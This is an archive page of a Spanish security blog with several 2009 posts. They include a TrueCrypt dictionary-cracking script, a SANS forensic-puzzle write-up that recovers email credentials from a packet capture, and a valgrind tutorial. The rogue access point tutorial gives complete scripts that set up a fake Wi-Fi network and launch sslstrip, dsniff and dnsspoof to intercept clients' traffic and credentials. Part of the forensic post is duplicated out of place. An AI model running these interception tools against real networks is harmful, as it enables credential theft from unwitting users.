Archive

Archive for the ‘Seguridad’ Category

Crackeando volúmenes de TrueCrypt

December 20th, 2009 1 comment

TrueCrypt como ya sabrán, es una aplicación que permite crear volúmenes virtuales cifrados y ocultos en otros volúmenes.

Y es que todo eso de cifrar y ocultar la información que bajo nuestro punto de vista puede ser sensible, de manera que solo nosotros sabemos cómo acceder a dichos datos está muy bien, y sí que es cierto que se nos da el caso de que realmente hay que proteger cierta información (una buena combinación es TrueCrypt + PGP), pero tarde o temprano es intevitable terminar como la siguiente ilustración, y que el botón “Forgot your password?” se convierta en nuestro mejor aliado:

En el caso del botón, todo está solucionado, rellenamos un formulario y listo (si nos acordamos de los datos del registro, claro), pero en el caso de TrueCrypt… ¿Dónde está el botón? Personalmente soy muy dado a olvidar las claves así que suelo tener varias copias de seguridad de un fichero con todas mis credenciales cifrado con PGP, pero como siempre hay algo que puede fallar, y fallará, el problema era que en ese archivo, no estaban todas las claves.

Así que necesitaba acceder a un volumen cifrado con TrueCrypt, por lo que me puse a buscar herramientas para automatizar el crackeo, y solo me encuentro con aplicaciones de pago, porciones de código y alguna que otra aplicación que dice  funcionar pero de fuentes nada fiables. Así que me dispuse a aplicar la filosofía del DIY (o para los menos avispados, Do It Yourself) e hice el script para crackear el volumen. Pero claro, como siempre el problema de los ataques por diccionario es el propio diccionario, ya que la clave rondaba los 100 caracteres, así que generé un diccionario a partir de los caracteres que recordaba, y pude acceder a los datos.

El script es muy simple, se limita a leer las posibles claves del diccionario y lanza directamente el TrueCrypt para tratar de montar el volumen usando dicha clave. Obviamente no es para nada eficiente, y si no conocemos ningún patrón de la clave, no es factible el ataque cuando uno ve datos como este:

# time truecrypt –text –non-interactive –mount –mount-options=ro  –filesystem=none -p “laclave” ./volumen
Error: Incorrect password or not a TrueCrypt volume.

real    0m2.078s
user    0m0.144s
sys     0m0.008s

Aunque ya que el código de TrueCrypt lo podemos descargar de la página oficial, se podría modificar para que el ataque fuese más eficiente.

#!/bin/bash
#

echo -e "\n"
echo -e "############################"
echo -e "#                          #"
echo -e "#        ~ SafetyBits ~       #"
echo -e "#                          #"
echo -e "# Simple TrueCrypt Cracker #"
echo -e "#          v0.1b           #"
echo -e "#                          #"
echo -e "# ~~~~~~~~~~~~~~~~~~~~~~~  #"
echo -e "#                          #"
echo -e "# Written by: Chema Garcia #"
echo -e "#        [email protected] #"
echo -e "#        http://safetybits.net #"
echo -e "#                          #"
echo -e "############################"

if [ ! $# -eq 2 ]
then
 echo -e "\nUse: $0 <volume_path> <dictionary>\n"
 exit 0
fi

TRUECRYPT="`which truecrypt`"
if [ `echo $TRUECRYPT | grep -c "^/"` -eq 0 ]
then
 echo -e "\n[!] 'truecrypt' not found!\n"
 exit 1
fi

IFSaux="$IFS"
IFS="
"

echo -e "\n[+] Started!\n"
for i in `cat $2`
do
 RES="`$TRUECRYPT --text --non-interactive --mount --mount-options=ro --filesystem=none -p "$i" "$1" 2>&1`"

 if [ $? -eq 0 ]
 then
  echo -e "\n[+] KEY FOUND! ==> $i\n"
  $TRUECRYPT --text --non-interactive --volume-properties "$1"

  echo -e "[+] Demounting...\c"
  $TRUECRYPT --text --non-interactive -d "$1"
  echo "OK"

  break
 elif [ `echo "$RES" | grep -ic "create ioctl failed"` -ge 1 ]
 then
  echo -e "\n[+] POSSIBLE KEY FOUND! ==> $i"
  echo -e "\t- Still working..."
 fi

done

IFS="$IFSaux"

echo -e "\n[+] Finished!\n"

unset IFSaux RES TRUECRYPT i
exit 0

Solución al reto forense del SANS Institute – Puzzle #2

December 11th, 2009 6 comments

He leído hace poco una entrada en el blog de Jose Selvi que el SANS Institute propuso otro reto de análisis forense de red del que no había tenido constancia (es lo que tiene estar tanto tiempo “offline”), y es que esta gente proponen con regularidad una serie de retos al público para que sean resueltos y ofrecen premios a las soluciones más elegantes, claro que lo que ellos consideran elegante es crear herramientas para resolver sus retos, que posteriormente ofreceran a los alumnos de los trainings que realizan en Orlando y Baltimore (¿solo a mí me suena esto de más de uno?).

http://forensicscontest.com/2009/09/25/puzzle-1-solution-anns-bad-aim

What we considered “elegant” was the construction of some automated process for solving the puzzle which was easy to use, easy to understand, very portable, and would easily be able to scale to much larger and more difficult problems.

Los trainings de análisis forense de red del SANS Institute y más concretamente el SEC 558 y el SEC 560 cuestan respectivamente $3,845 y $4,295 así que poquitas ganas me dan de hacerles las herramientas y mucho menos enviárselas, pero ya sabemos cómo es esto de la formación, ¿verdad?.

Después de esta pequeña reflexión vamos a ver cómo podemos solucionar el reto.

La url del mismo es http://forensicscontest.com/2009/10/10/puzzle-2-ann-skips-bail donde nos dicen:

After being released on bail, Ann Dercover disappears! Fortunately, investigators were carefully monitoring her network activity before she skipped town.

“We believe Ann may have communicated with her secret lover, Mr. X, before she left,” says the police chief. “The packet capture may contain clues to her whereabouts.”

You are the forensic investigator. Your mission is to figure out what Ann emailed, where she went, and recover evidence including:

1. What is Ann’s email address?
2. What is Ann’s email password?
3. What is Ann’s secret lover’s email address?
4. What two items did Ann tell her secret lover to bring?
5. What is the NAME of the attachment Ann sent to her secret lover?
6. What is the MD5sum of the attachment Ann sent to her secret lover?
7. In what CITY and COUNTRY is their rendez-vous point?
8. What is the MD5sum of the image embedded in the document?

Please use the Official Submission form to submit your answers. Prize TBD. Prize will be a Lenovo IdeaPad S10-2 – just like the free netbooks Sec558 students will get in Orlando.

Here is your evidence file:

http://forensicscontest.com/contest02/evidence02.pcap
MD5 (evidence02.pcap) = cfac149a49175ac8e89d5b5b5d69bad3

Así que empezamos, nos descargamos el archivo de captura, comprobaremos la firma MD5 y corremos p0f con algunas que otras herramientas y expresiónes regulares para filtrar la salida y ver qué hosts mantienen conexiones TCP/IP en la captura:

$ p0f -s evidence02.pcap 2>/dev/null | egrep “^[0-9]{1,3}” | tr -s ‘:’ ‘-’ | awk -F\- ‘{print $1,$3}’ | sort -u

192.168.1.159 Windows XP SP1+, 2000 SP3

Y vemos actividad de la IP 192.168.1.159, así que vamos a abrir el archivo de captura con Wireshark y aplicamos el filtro: ip.addr == 192.168.1.159

Nos vamos al paquete nº 45 que según nos dice Wireshark usa el protocolo “BROWSER” (anuncio smb), y obtenemos algunos datos del apartado “Microsoft Windows Browser Protocol” dentro de la cabecera NetBIOS, como son:


  • Host Name
  • OS Major Version
  • OS Minor Version
  • Host Comment

Con los datos de “OS Major Version” y “OS Minor Version”, nos vamos a http://msdn.microsoft.com/en-us/library/cc246960%28PROT.10%29.aspx y vemos que al tratarse de Major = 5 y Minor = 1, Ann usa un Windows XP (cosa que nos había estimado p0f).

Ahora cojemos cualquier paquete con IP de origen 192.168.1.159 y cuyo destino no sea el broadcast, por ejemplo el paquete nº 49 que es una petición DNS, y vemos en la cabecera ethernet la dirección MAC de destino “00:0c:29:9b:ee:14”, lo que quiere decir que esa es la puerta de enlace que está usando el PC de Ann Dercover, así que aplicamos un simple filtro “arp and eth.src == 00:0c:29:9b:ee:14” y vemos que la dirección MAC corresponde a la IP 192.168.1.10, luego ya tenemos los datos de la puerta de enlace. A simple vista si filtramos por dirección IP de origen vemos que la puerta de enlace usa un servicio de NTP (Network Time Protocol), y un Firewall con logs en remoto a 192.168.1.30. Todos estos datos podrían servirnos para crear una línea temporal de la actividad del PC de Ann en caso de que los paquetes no tuviesen timestamp, pero vamos a centrarnos de momento en la actividad de Ann.

Con las dos direcciones MAC que tenemos, nos vamos a http://anonsvn.wireshark.org/wireshark/trunk/manuf y buscamos los tres primeros campos de la dirección MAC, y tenemos que Ann usa un portátil Dell y la puerta de enlace es un sistema virtualizado sobre VMWare.

Por tanto, los datos del PC de Ann Dercover recopilados hasta ahora son:


  • IP: 192.168.1.159
  • MAC: 00:21:70:4d:4f:ae
  • Portátil: Dell
  • Nombre del equipo: ANN-LAPTOP
  • Grupo de trabajo: WORKGROUP
  • Sistema Operativo: Windows XP
  • Comentario del e quipo: ann’s laptop
  • Protocolos: NETBIOS, SMB, DNS, SMTP, SYSLOG
  • Servidor DNS: 10.1.1.20
  • Puerta de enlace:
    • IP: 192.168.1.10
    • MAC: 00:0c:29:9b:ee:14 (VMWare)

Seguimos analizando la captura, y vemos que Ann realiza una consulta dns a 10.1.1.20 preguntando por “smtp.aol.com” y justo después inicia una sesión SMTP, así que obtenemos:

Servidor SMTP:


  • Host: smtp.aol.com
  • Nombre primario: smtp.cs.com
  • IP: 64.12.102.142
  • Puerto: 587

Ahora vamos a ver cuánto duró y cuándo se estableció la conexión con el servidor SMTP, para ello seleccionamos con un click el paquete nº 56 que es cuando el cliente de correo de Ann ha finalizado la sincronización de la conexión con el servidor SMTP, y en la ventana de detalles del paquete (donde aparecen todas las cabeceras) desplegamos los datos de “Frame”, vemos que en el campo “Arrival Time” nos dice la fecha y hora de la recepción del paquete: Oct 10, 2009 15:35:31.101734000. Ahora vamos al paquete nº 564 que es cuando el cliente envía el comando “QUIT” al servidor SMTP y realizando la misma operación tenemos la fecha y hora de envío del paquete: Oct 10, 2009 15:38:14.908571000, así que la sesión SMTP duró 4 minutos aproximadamente, así que vamos a ver qué hizo Ann durante la sesión SMTP.

NOTA: Los datos de fecha y hora también podríamos haberlos sacado leyendo los paquetes NTP entre 192.168.1.10 y 192.168.1.30, la fecha y hora enviada por el servidor SMTP en el paquete nº 56, estableciendo un paquete como referencia y haciendo los cálculos.

Ahora, para ver la sesión SMTP hacemos click sobre un paquete de la conexión y le damos a “Analize Follow TCP Stream”, y veremos:

220 cia-mc06.mx.aol.com ESMTP mail_cia-mc06.1; Sat, 10 Oct 2009 15:35:16 -0400

EHLO annlaptop

250-cia-mc06.mx.aol.com host-69-140-19-190.static.comcast.net

250-AUTH=LOGIN PLAIN XAOL-UAS-MB

250-AUTH LOGIN PLAIN XAOL-UAS-MB

250-STARTTLS

250-CHUNKING

250-BINARYMIME

250-X-AOL-FWD-BY-REF

250-X-AOL-DIV_TAG

250-X-AOL-OUTBOX-COPY

250 HELP

AUTH LOGIN

334 VXNlcm5hbWU6

c25lYWt5ZzMza0Bhb2wuY29t

334 UGFzc3dvcmQ6

NTU4cjAwbHo=

235 AUTHENTICATION SUCCESSFUL

MAIL FROM: <[email protected]>

250 OK

RCPT TO: <[email protected]>

250 OK

DATA

354 START MAIL INPUT, END WITH “.” ON A LINE BY ITSELF

Message-ID: <[email protected]>

From: “Ann Dercover” <[email protected]>

To: <[email protected]>

Subject: lunch next week

Date: Sat, 10 Oct 2009 07:35:30 -0600

MIME-Version: 1.0

Content-Type: multipart/alternative;

.boundary=”—-=_NextPart_000_0006_01CA497C.3E4B6020″

X-Priority: 3

X-MSMail-Priority: Normal

X-Mailer: Microsoft Outlook Express 6.00.2900.2180

X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180

This is a multi-part message in MIME format.

——=_NextPart_000_0006_01CA497C.3E4B6020

Content-Type: text/plain;

.charset=”iso-8859-1″

Content-Transfer-Encoding: quoted-printable

Sorry– I can’t do lunch next week after all. Heading out of town. =

Another time! -Ann

——=_NextPart_000_0006_01CA497C.3E4B6020

Content-Type: text/html;

.charset=”iso-8859-1″

Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>

<HTML><HEAD>

<META http-equiv=3DContent-Type content=3D”text/html; =

charset=3Diso-8859-1″>

<META content=3D”MSHTML 6.00.2900.2853″ name=3DGENERATOR>

<STYLE></STYLE>

</HEAD>

<BODY bgColor=3D#ffffff>

<DIV><FONT face=3DArial size=3D2>Sorry– I can’t do lunch next week =

after all.=20

Heading out of town. Another time! -Ann</FONT></DIV></BODY></HTML>

——=_NextPart_000_0006_01CA497C.3E4B6020–

250 OK

QUIT

221 SERVICE CLOSING CHANNEL

De donde podemos extraer los siguientes datos:


  • Usuario (Codificado en Base64) : c25lYWt5ZzMza0Bhb2wuY29t [email protected]
  • Clave (Codificado en Base64): NTU4cjAwbHo= 558r00lz
  • Cliente de correo: Microsoft Outlook Express 6.00.2900.2180
  • Emisor: “Ann Dercover” <[email protected]>
  • Destinatario: [email protected]
  • Asunto del email: lunch next week
  • Cuerpo del mensaje: Sorry I can’t do lunch next week after all. Heading out of town. Another time! Ann

A continuación, en el paquete nº 113 se establece otra conexión, así que volvemos a hacer lo mismo, seleccionamos el paquete, y le damos a “Analize Follow TCP Stream”, de donde podemos extraer la siguiente información:


  • Usuario (Codificado en Base64) : c25lYWt5ZzMza0Bhb2wuY29t [email protected]
  • Clave (Codificado en Base64): NTU4cjAwbHo= 558r00lz
  • Cliente de correo: Microsoft Outlook Express 6.00.2900.2180
  • Emisor: “Ann Dercover” <[email protected]>
  • Destinatario: [email protected]
  • Asunto del mensaje: rendezvous
  • Cuerpo del mensaje: Hi sweetheart! Bring your fake passport and a bathing suit. Address attached. love, Ann

Y a continuación, en el mismo email, vemos lo siguiente:

Content-Type: application/octet-stream;

.name=”secretrendezvous.docx”

Content-Transfer-Encoding: base64

Content-Disposition: attachment;

.filename=”secretrendezvous.docx”


Así que lo siguiente es el adjunto del mail, y ya que está codificado en base64, vamos a copiar todo el “texto” siguiente y decodificarlo. En mi caso lo he guardado como “adjunto_email.base64”, así que para decodificarlo basta con hacer:

$ openssl enc -d -base64 -in adjunto_email.base64 -out adjunto_email

Obtendremos el MD5 del documento:

$ md5sum adjunto_email

9e423e11db88f01bbff81172839e1923 adjunto_email

Y ya podremos leer el documento adjunto, que vemos que dice:

Meet me at the fountain near the rendezvous point. Address below. I’m bringing all the cash.

Y adjunta una imagen de Google Maps con la localización de “Playa del Carmen” en la Av. Constituyentes 1 Calle 10 por la quinta avenida, 77780, México.



Algo interesante que probablemente no sepa más de uno, es que la mayoría (si no todos) los documentos de Office (pptx, docx, etc.), en realidad son archivos comprimidos en ZIP donde se guardan todos los elementos del documento, así que vamos a verificarlo y extraer todos los elementos:

$ file adjunto_email

adjunto_email: Zip archive data, at least v2.0 to extract


$ unzip adjunto_email

Archive: adjunto_email

inflating: [Content_Types].xml

inflating: _rels/.rels

inflating: word/_rels/document.xml.rels

inflating: word/document.xml

extracting: word/media/image1.png

inflating: word/theme/theme1.xml

inflating: word/settings.xml

inflating: word/webSettings.xml

inflating: word/styles.xml

inflating: docProps/core.xml

inflating: word/numbering.xml

inflating: word/fontTable.xml

inflating: docProps/app.xml

Y vemos ahí la imagen adjunta en “word/media/image1.png” y el texto del documento en “word/document.xml”, así que obtenemos el MD5 de la imagen PNG:

$ md5sum word/media/image1.png

aadeace50997b1ba24b09ac2ef1940b7 word/media/image1.png

Así que aprovechando las fechas y horas obtenidas anteriormente, podemos decir que:


  • El sábado 10 de Octubre de 2009 a las 15:35:31, Ann Dercover envió un mail a “[email protected] desde la dirección de email [email protected]cancelando la cita para almorzar a la semana siguiente.
  • El sábado 10 de Octubre de 2009 a las 15:38:11, Ann Dercover envió un mail a [email protected] desde la dirección [email protected] para confirmar la cita.

Estas horas y fechas se extrayeron del timestamp de los paquetes, y coinciden con la fecha y hora en los paquetes enviados de 192.168.1.10 a 192.168.1.30 mediante NTP, sinembargo, en los emails enviados por Ann, ponía fechas y horas diferentes, y si extraemos los metadatos del documento enviado por Ann a [email protected] vemos que las fechas y horas de creación y modificación son:


  • Creación: 10 OCT 2009 17:58:00
  • Última modificación: 10 OCT 2009 18:29:00
  • Veces editado: 1

Por lo que al parecer la fecha y hora “real” difieren de la fecha y hora del PC de Ann, lo cual es posible si Ann no tiene debidamente configurada la fecha y hora en su PC o bien, si ha viajado y se encuentra en otra zona horaria.


Así que con toda la información de la que disponemos vamos a tratar de responder a las preguntas del reto:


  • ¿Cuál es la dirección de correo de Ann Dercover?
    • [email protected]
  • ¿Cuál es la clave del correo?
    • 558r00lz
  • ¿Cuál es la dirección de correo del amor secreto de Ann Dercover?
    • [email protected]
  • ¿Qué dos elementos le dijo Ann Dercover a su amor secreto que llevase?
    • Un pasaporte falso y un traje de baño
  • ¿Cuál es el nombre del adjunto que Ann Dercover le ha enviado a su amor secreto?
    • secretrendezvous.docx

  • ¿Cuál es el MD5 del adjunto enviado por Ann Dercover a su amor secreto?
    • 9e423e11db88f01bbff81172839e1923

  • ¿En qué ciudad y pais se encuentra el punto de encuentro?
    • Playa del Carmen, 77780, México

  • ¿Cuál es el MD5 de la imagen embebida en el documento?
    • aadeace50997b1ba24b09ac2ef1940b7

Y como soy el “tonto de los scripts” aquí os dejo uno para p0f y otro para saber la versión de Windows con los datos de  Major/Minor Version.

#!/bin/bash

if [ ! $# -eq 1 ]
then
echo -e “\nUso: $0 archivo_captura\n”
exit 1
fi

POF=`which p0f`

if [ -z "$POF" ]
then
echo -e “\np0f no encontrado!\n”
exit 1
fi

$POF -s $1 2>/dev/null | egrep “^[0-9]{1,3}” | tr -s ‘:’ ‘-’ | awk -F\- ‘{print $1,$3}’ | sort -u

unset POF
exit 0

#!/bin/bash

if [ ! $# -eq 2 ]
then
echo -e “\nUso: $0 os_major_version os_minor_version\n”
exit 0
fi

case $1 in
4)
if [ $2 -eq "0" ]
then
echo “Windows NT 4.0″
fi
;;

5)
case $2 in
0)
echo “Windows 2000″
;;

1)
echo “Windows XP”
;;

2)
echo “Windows Server 2003 / Windows Server 2003 R2″
;;
esac
;;

6)
case $2 in
0)
echo “Windows Vista / Windows Server 2008″
;;

1)
echo “Windows Vista / Windows Server 2008 R2″
;;

esac
;;
esac

exit 0

De donde podemos extraer los siguientes datos:

  • Usuario (Codificado en Base64) : c25lYWt5ZzMza0Bhb2wuY29t [email protected]

  • Clave (Codificado en Base64): NTU4cjAwbHo= 558r00lz

  • Cliente de correo: Microsoft Outlook Express 6.00.2900.2180

  • Emisor: “Ann Dercover” <[email protected]>

  • Destinatario: [email protected]

  • Asunto del email: lunch next week

  • Cuerpo del mensaje: Sorry I can’t do lunch next week after all. Heading out of town. Another time! Ann

A continuación, en el paquete nº 113 se establece otra conexión, así que volvemos a hacer lo mismo, seleccionamos el paquete, y le damos a “Analize Follow TCP Stream”, de donde podemos extraer la siguiente información:

  • Usuario (Codificado en Base64) : c25lYWt5ZzMza0Bhb2wuY29t [email protected]

  • Clave (Codificado en Base64): NTU4cjAwbHo= 558r00lz

  • Cliente de correo: Microsoft Outlook Express 6.00.2900.2180

  • Emisor: “Ann Dercover” <[email protected]>

  • Destinatario: [email protected]

  • Asunto del mensaje: rendezvous

  • Cuerpo del mensaje: Hi sweetheart! Bring your fake passport and a bathing suit. Address attached. love, Ann

Y a continuación, en el mismo email, vemos lo siguiente:

Categories: Forense, Retos Tags:

Detenido un menor de edad por ataques DDoS

November 27th, 2009 No comments

El menor, un autodidacta informático, consiguió evadir protocolos de seguridad considerados como infranqueables.

Tras controlar más de 75.000 ordenadores repartidos por todo el mundo de internautas, lanzó un ataque masivo de más de doce millones de visitas, a una página web prestigiosa de la seguridad informática

“No sabemos” a qué se refieren exáctamente con eso de “(…)evadir protocolos de seguridad considerados como infranqueables.”, pero aun así, felicitar a la Guardia Civil por su trabajo en la operación “CANDELARIA”.

http://www.guardiacivil.org/prensa/notas/win_noticia.jsp?idnoticia=2724

https://foro.elhacker.net/noticias/un_menor_de_edad_imputado_en_un_ataque_masivo_contra_el_sitio_elhackernet-t275900.0.html

http://meneame.net/story/imputado-hacker-16-anos-habia-infectado-mas-75.000-ordenadores

http://elladodelmal.blogspot.com/2009/11/imputado-por-un-ddos-el-hackernet.html

http://www.elmundo.es/elmundo/2009/11/26/navegante/1259238023.html

http://www.europapress.es/islas-canarias/noticia-menor-detenido-tenerife-presunto-autor-ataque-informatico-20091126162644.html

http://www.abc.es/20091126/nacional-islas-baleares/menor-tenerife-imputado-ataque-200911261636.html

http://www.elpais.com/articulo/sociedad/hacker/anos/ataca/75000/ordenadores/elpepusoc/20091126elpepusoc_10/Tes

http://www.20minutos.es/noticia/575229/0/ataque/informatico/ordenadores/

http://www.publico.es/agencias/efe/273108/imputado/hacker/anos/infectado/ordenadores

http://www.elmundo.es/elmundo/2009/11/26/navegante/1259238023.html

Ni que decir tiene que el virus usado no era nada del otro mundo.

Categories: Ataques, General, Seguridad Tags:

Creando un punto de acceso falso – II

October 5th, 2009 11 comments

Post Actualizado: http://safetybits.net/2011/03/30/howto-rogue-ap/

Hace algún tiempo escribí un artículo a modo de manual con un script final para crear puntos de acceso falso usando airbase-ng.

En este segundo artículo, voy a resumir brevemente los pasos mencionados en el primer artículo y mostrar diferentes caminos y algunas aplicaciones finales.

Lo primero será instalar los servidores DHCP y DNS necesarios, y ajustar su configuración. En este caso usaré como servidor DHCP “dhcp3-server” y como servidor DNS “bind9″.

Dado que queremos ofrecer conexión a internet a los clientes, debemos configurar el servidor DHCP para usar los rangos de IP que creamos más convenientes, en el archivo /etc/dhcp3/dhcpd.conf, en mi caso queda así:

ddns-update-style none;
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.33 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}

Para ahorrarnos problemas, nos aseguramos de que ambos demonios están detenidos:

/etc/init.d/dhcp3-server stop
/etc/init.d/bind9 stop

Acto seguido, ajustaremos los parámetros de “airbase-ng” en función a lo que queramos hacer, en mi caso crearé un AP con cifrado WEP, por lo que los pasos para montar el AP serán:

  1. airbase-ng -I 100 -P -C 2 -c 6 –essid Wifli_Gratis rausb0 -w 5A303031333439454430374333
  2. ifconfig at0 10.0.0.1 up
  3. dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
  4. sysctl net.ipv4.ip_forward=1
  5. iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
  6. /etc/init.d/bind9 start

Listo, con esto ya tendremos la red creada y proporcionaremos acceso a internet a los clientes:

Cell 06 – Address: XX:XX:XX:XX:XX:XX
ESSID:”Wifli”
Mode:Master
Channel:6
Frequency:2.437 GHz (Channel 6)
Quality=96/100  Signal level=-31 dBm  Noise level=-127 dBm
Encryption key:on
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=ffffffffd4670326

Una vez tenemos a los clientes conectados, vamos con lo siguiente:

SSLstrip: Suplanta sesiones web HTTPS por HTTP

$ sudo apt-get install python python-twisted-web
$ wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.6.tar.gz && tar xf sslstrip-0.6.tar.gz

DSniff: Suite – Principalmente usaremos ‘dsniff’, ‘urlsnarf’ y ‘dnsspoof’ para suplantar nombres de dominio

  • Para distribuciones basadas en Debian: $ sudo apt-get install dsniff
  • Fuentes: http://monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz

p0f: Detección de SO pasivo

  • Para distribuciones basadas en Debian: $ sudo apt-get install p0f
  • Fuentes: http://lcamtuf.coredump.cx/p0f.tgz

TCPTrack: Monitor de conexiones TCP

  • Para distribuciones basadas en Debian: $ sudo apt-get install tcptrack
  • Fuentes: http://www.rhythm.cx/~steve/devel/tcptrack/release/1.2.0/source/tcptrack-1.2.0.tar.gz

Para comenzar está bien, aunque siempre podemos ponernos más “juguetones” y que el tráfico de red crezca de una manera descontrolada, usando karmetasploit.

Script para crear el AP:

#!/bin/sh
#
# Scriwap 1.5 - Script to create rogue AP
#
# Chema Garcia (a.k.a. sch3m4)
# [email protected]
# http://safetybits.net
#

RUTA_AIRBASE='/usr/local/sbin/airbase-ng'
RUTA_BIND9='/etc/init.d/bind9'
RUTA_DHCPD3S='/etc/init.d/dhcp3-server'
RUTA_DHCPD3='/usr/sbin/dhcpd3'
RUTA_CFG_DHCPD3='/etc/dhcp3/dhcpd.conf'
RUTA_SYSCTL='/sbin/sysctl'
RUTA_IPTABLES='/sbin/iptables'
AIRBASE_IFACE='at0'
LOG='.scriwap.log'

function check
{
 if [ ! $? -eq 0 ]
 then
 echo -e "[!] Error - Check "$LOG""
 exit $?
 fi
}

echo "###############################"
echo "#        SCRIWAP 1.5          #"
echo "#=============================#"
echo "#  Chema Garcia (aka sch3m4)  #"
echo "#      [email protected] #"
echo "#      http://safetybits.net      #"
echo "###############################"
echo ""

if [ $# -lt 4 ]
then
 echo -e "Use: $0 <iface_inet> <iface_monitor> <ip_gw> <netmask> <airbase_opt>\n"
 echo -e "Ej: $0 wlan0 rausb0 10.0.0.1 255.0.0.0 -P -C 2 -c 6 --essid Wifli\n"
 exit 1
fi

if [ ! $UID -eq 0 ]
then
 sudo ls / 2>&1 >/dev/null
fi

#comienzo de parametros de airbase
ifacenet=$1
ifacemon=$2
ip=$3
mascara=$4
narg=$#
num=5

while [ $# -gt 0 ] && [ $num -le $narg ];do
 param="$param $5"
 shift
 num=$(($num+1))
done
param="$param $ifacemon"

#Activamos el IP Forwarding
echo "[+] Setting up IP Forwarding"
sudo $RUTA_SYSCTL net.ipv4.ip_forward=1 2>&1 >> $LOG
check

echo "[+] Stopping DHCP daemon"
sudo $RUTA_DHCPD3S stop 2>&1 >> $LOG
echo "[+] Stopping DNS daemon"
sudo $RUTA_BIND9 stop 2>&1 >> $LOG

echo "[+] Flushing 'nat' table"
sudo $RUTA_IPTABLES -t nat -F
check

echo "[+] Adding iptables rule"
sudo $RUTA_IPTABLES -t nat -A POSTROUTING -o $ifacenet -j MASQUERADE
check

echo "[+] Setting up Acces Point..."
sudo rmmod tun 2>&1 >> $LOG
xterm -e sudo $RUTA_AIRBASE $param &
sleep 3

echo "[+] Settin up interface $AIRBASE_IFACE"
sudo ifconfig $AIRBASE_IFACE $ip netmask $mascara up
check

echo "[+] Starting DHCP daemon"
sudo $RUTA_DHCPD3 -cf $RUTA_CFG_DHCPD3 $AIRBASE_IFACE 2>&1 >> $LOG
check

echo "[+] Starting DNS daemon"
sudo $RUTA_BIND9 start 2>&1 >> $LOG
check

echo -e "\n[+] Finished!\n"

exit 0

Script para lanzar las herramientas:

#!/bin/bash
#
# Chema Garcia (a.k.a. sch3m4)
# [email protected]
# http://safetybits.net
#

RUTA_IPTABLES='/sbin/iptables'
RUTA_SSLSTRIP='/home/sch3m4/FakeAP/sslstrip-0.6/sslstrip.py'
RUTA_DSNIFF='/usr/sbin/dsniff'
RUTA_URLSNARF='/usr/sbin/urlsnarf'
RUTA_DNSSPOOF='/usr/sbin/dnsspoof'
RUTA_P0F='/usr/sbin/p0f'
RUTA_TCPTRACK='/usr/bin/tcptrack'
RUTA_TCPDUMP='/usr/sbin/tcpdump'
PUERTO='4664'
RUTA_HOSTSDNS='' # You have to create a file to use dnsspoof

if [ ! $# -eq 1 ]
then
 echo -e "\nUse: $0 <iface>\n"
 exit 1
fi

if [ ! $UID -eq 0 ]
then
 sudo ls / 2>&1 >/dev/null
fi

echo -e "[?] Do you want to save the capture using tcpdump? (y/n): \c"
read SAVE

if [ "$SAVE" == 'y' ] || [ y"$SAVE" == 'y' ]
then
 SAVE_FILE=''
 while [ -z "$SAVE_FILE" ]
 do
 echo -e "[?] Filename: \c"
 read SAVE_FILE
 done
else
 SAVE_FILE=''
fi

echo '[+] Adding iptables rule'
sudo $RUTA_IPTABLES -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $PUERTO

echo -e '[+] Launching SSLstrip...\c'
xterm -e sudo $RUTA_SSLSTRIP -l $PUERTO &
echo 'OK'

echo -e '[+] Launching Dsniff...\c'
xterm -e sudo $RUTA_DSNIFF -i $1 &
echo 'OK'

if [ ! -z "$RUTA_HOSTSDNS" ]
then
 echo -e '[+] Launching DNSspoof...\c'
 xterm -e sudo $RUTA_DNSSPOOF -i $1 -f $RUTA_HOSTSDNS &
 echo 'OK'
fi

echo -e '[+] Launching p0f...\c'
xterm -e sudo $RUTA_P0F -i $1 -U -t &
echo 'OK'

echo -e '[+] Launching TCPtrack...\c'
xterm -e sudo $RUTA_TCPTRACK -i $1 &
echo 'OK'

echo -e '[+] Launching URLsnarf...\c'
xterm -e sudo $RUTA_URLSNARF -i $1 &
echo 'OK'

if [ ! -z "$SAVE_FILE" ]
then
 echo -e '[+] Launching TCPDump...\c'
 xterm -e sudo $RUTA_TCPDUMP -i $1 -w $SAVE_FILE &
 echo 'OK'
fi

exit 0

Ambos scripts están disponibles en:

http://pastebin.com/f671cce89
http://pastebin.com/f332a2d1a

Análisis dinámico de ejecutables en GNU/Linux

April 18th, 2009 No comments

Normalmente, cuando estamos desarrollando una aplicación y queremos depurarla para ver una descripción más detallada de los posibles errores, solemos usar GDB (GNU Debugger), para hacer una traza de las llamadas a rutinas, ver el contenido de la pila, registros, etc.

Todo este procedimiento está muy bien para subsanar errores, pero ¿y si lo que queremos no es solo subsanar errores sino que además queremos optimizar nuestra aplicación? Es bien sabido que se le pueden pasar ciertos parámetros al compilador para ayudarnos en esta tarea (optimización de código en tamaño y velocidad, uso variables no inicializadas, errores/warnings de conversión de tipos, arquitectura, estándares, etc.) pero ¿qué hay de la gestión que realiza nuestra aplicación de la memoria dinámica? Además de que por accidente reservemos menos memoria de la que necesitamos (olvidando un “+1″ en algún calloc) que puede no fallar siempre, y que hará que nos dejemos los ojos buscando el error, puede que olvidemos un free que puede “no tener importancia”, pero que después de un tiempo de ejecución el sistema se ralentiza y la aplicación nos suelta un precioso mensaje de “Violación de segmento”.

Para analizar todos estos problemas en tiempo de ejecución, existe una herramienta de análisis y depuración dinámica para las plataformas “X86/Linux, AMD64/Linux, PPC32/Linux, PPC64/Linux.” (*BSD??), llamada “valgrind“.

Veamos un ejemplo con el siguiente programa:

#include <stdlib.h>

int main()
{
        char *x=calloc(10,sizeof(char));
        return 0;
}

Para que valgrind sea capaz de darnos una información más detallada, vamos a compilar este programa con la opción “-g” de gcc para incluir los símbolos.

Analizamos con valgrind:

$ valgrind ./p1
